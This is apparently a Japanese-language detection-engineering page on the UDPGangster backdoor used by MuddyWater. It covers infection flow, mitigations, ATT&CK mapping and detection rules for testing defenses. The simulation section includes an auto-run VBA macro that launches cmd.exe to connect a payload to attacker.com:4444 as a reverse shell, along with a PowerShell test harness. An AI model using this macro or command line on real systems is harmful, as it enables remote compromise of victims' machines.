UDPGangster Attacks Spread Across Multiple Countries
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
UDPGangsterは、MuddyWater脅威グループによって利用されるUDPベースのバックドアで、Windowsホストをリモートから制御します。初期の侵入は、悪意のあるWordドキュメントがVBAマクロを使用してペイロードをドロップし起動することで発生します。このマルウェアは広範な分析回避チェックを実行し、ユーザーのAppDataディレクトリに自分自身をコピーし、実行キーを作成することで持続性を維持します。最近のキャンペーンでは、トルコ、イスラエル、アゼルバイジャンのユーザーを対象にしたことが観察されています。
調査
FortiGuard Labsは、フィッシングメール、組み込まれたVBAマクロ、ドロップされた実行ファイル、およびその持続性技術を調査しました。ファイルパス、レジストリの実行エントリ、ミューテックス名、関連するC2インフラストラクチャといったインジケーターを抽出しました。IPアドレス、ドメイン、およびPDBパスを相関させることで、解析者はこの活動を以前のMuddyWater作戦に結び付けることができました。
緩和策
緩和策として、マクロのブロックまたは強固なユーザー教育によるマクロの実行防止、およびパブリックまたはユーザープロファイルフォルダーへの不審なファイル書き込みや実行レジストリキーの変更を監視するエンドポイント防御の展開が含まれます。ネットワークチームはポート1269での異常なUDPトラフィックを監視し、既知の悪意のあるIPアドレスとドメインをブロックしてC2チャネルを妨害するべきです。
対応策
UDPGangsterの活動が検出された場合、影響を受けたエンドポイントを隔離し、揮発性メモリと完全ディスクイメージを収集し、バックドアバイナリと関連するアーティファクトを探してください。特定されたC2インフラストラクチャをブロックし、追加の侵害されたシステムを発見するために徹底したフォレンジック解析を実施し、悪意のあるマクロドキュメントとバックドアペイロードの両方を検出するためにセキュリティ署名を更新してください。
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[“<b>Action</b> – <b>T1566.001 スピアフィッシング添付ファイル</b>: 悪意のある Word ドキュメントおよび ZIP ファイルを含むメール。”] class action_phishing action action_macro[“<b>Action</b> – <b>T1059.005 コマンドおよびスクリプトインタープリタ: VBA</b>: Document_Open マクロが Base64 ペイロードをデコードし、C:\\Users\\Public\\ui.txt に書き出す。”] class action_macro action action_vba_stomping[“<b>Action</b> – <b>T1564.007 アーティファクトの隠蔽: VBA Stomping</b>: 悪意のあるバイナリがマクロ内に隠され、実行時に展開される。”] class action_vba_stomping action action_obfuscation[“<b>Action</b> – <b>T1027.004 配信後コンパイル</b>: ペイロードは Base64 エンコードおよびコンパイル時技法で難読化される。”] class action_obfuscation action action_persistence_copy[“<b>Action</b> – <b>T1547.014 起動またはログオン自動実行</b>: バックドアを %AppData%\\RoamingLow\\SystemProc.exe にコピーする。”] class action_persistence_copy action action_registry_persistence[“<b>Action</b> – <b>T1547.014 レジストリ Run キー</b>: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell にスタートアップエントリを作成する。”] class action_registry_persistence action action_anti_sandbox[“<b>Action</b> – <b>T1497.002 仮想化/サンドボックス回避</b>: デバッガ検出、CPU コア数、RAM サイズ、MAC プレフィックス、ドメイン状態、WMI クエリ、レジストリスキャン、既知のサンドボックス DLL チェックを実行する。”] class action_anti_sandbox action action_c2_udp[“<b>Action</b> – <b>T1571 非標準ポート</b>: UDP ポート 1269 を使用して C2 と通信する。”] class action_c2_udp action action_raw_udp[“<b>Action</b> – <b>T1095 非アプリケーション層プロトコル</b>: 生の UDP パケットを通信に使用する。”] class action_raw_udp action action_data_encoding[“<b>Action</b> – <b>T1132.002 カスタムエンコーディング</b>: 送信前にシステム情報を右回転変換でエンコードする。”] class action_data_encoding action malware_backdoor[“<b>Malware</b>: カスタムバックドアバイナリ”] class malware_backdoor malware process_c2[“<b>Process</b>: リモート C2 サーバー”] class process_c2 process %% Connections showing attack flow action_phishing –>|delivers| action_macro action_macro –>|materializes| action_vba_stomping action_vba_stomping –>|obfuscates| action_obfuscation action_obfuscation –>|copies to AppData| action_persistence_copy action_persistence_copy –>|creates run key| action_registry_persistence action_registry_persistence –>|enables| malware_backdoor action_vba_stomping –>|executes| action_anti_sandbox action_anti_sandbox –>|if passes| action_c2_udp action_c2_udp –>|uses| action_raw_udp action_raw_udp –>|sends encoded data| action_data_encoding action_data_encoding –>|to| process_c2 process_c2 –>|controls| malware_backdoor
攻撃フロー
検出
UDPポート1269によるUDPGangster C2通信の検出 [Windowsネットワーク接続]
表示
UDPGangsterリモートコマンド実行 via CreateProcessA と cmd.exe [Windowsプロセス作成]
表示
UDPGangsterミューテックス作成の検出 [Windows Sysmon]
表示
IOC(SourceIP)を検出する: UDPGangsterキャンペーンは複数の国をターゲットにしています
表示
IOC(DestinationIP)を検出する: UDPGangsterキャンペーンは複数の国をターゲットにしています
表示
シミュレーション実行
前提条件: テレメトリー & ベースラインの事前チェックが合格していること。
根拠: このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブは、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃の解説 & コマンド:
攻撃者は、VBAマクロを含む悪意のあるWordドキュメントを配布します。このマクロはWindows APICreateProcessAを呼び出してcmd.exeを生成し、UDPGangsterのペイロード (udp_gangster.exe)を実行します。ペイロードは攻撃者のC2サーバーへのリバースシェルを確立します。マクロはコマンドラインで文字列 “CreateProcessA” とリテラルcmd.exeを明示的に渡すため、検出ルールは一致します。-
VBAマクロ(簡略化) – API呼び出しを示しています:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
マクロを展開し、ドキュメントを開き、マクロを実行させます。結果として得られるプロセス作成イベントには次の内容が含まれます:コマンドライン: cmd.exe /c “%TEMP%udp_gangster.exe -c attacker.com:4444”
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
回帰テストスクリプト: 次のPowerShellスクリプトは、Wordドキュメントを必要とせずに正確なテレメトリーを再現します。ネイティブWin32 API
CreateProcessA経由で呼び出しますAdd-Type.# 回帰テスト:cmd.exeによる直接のCreateProcessA呼び出し $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
クリーンアップコマンド: シミュレーション中に作成されたアーティファクトを削除します。
# シミュレーションによって生成された一時ログファイルを削除 Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue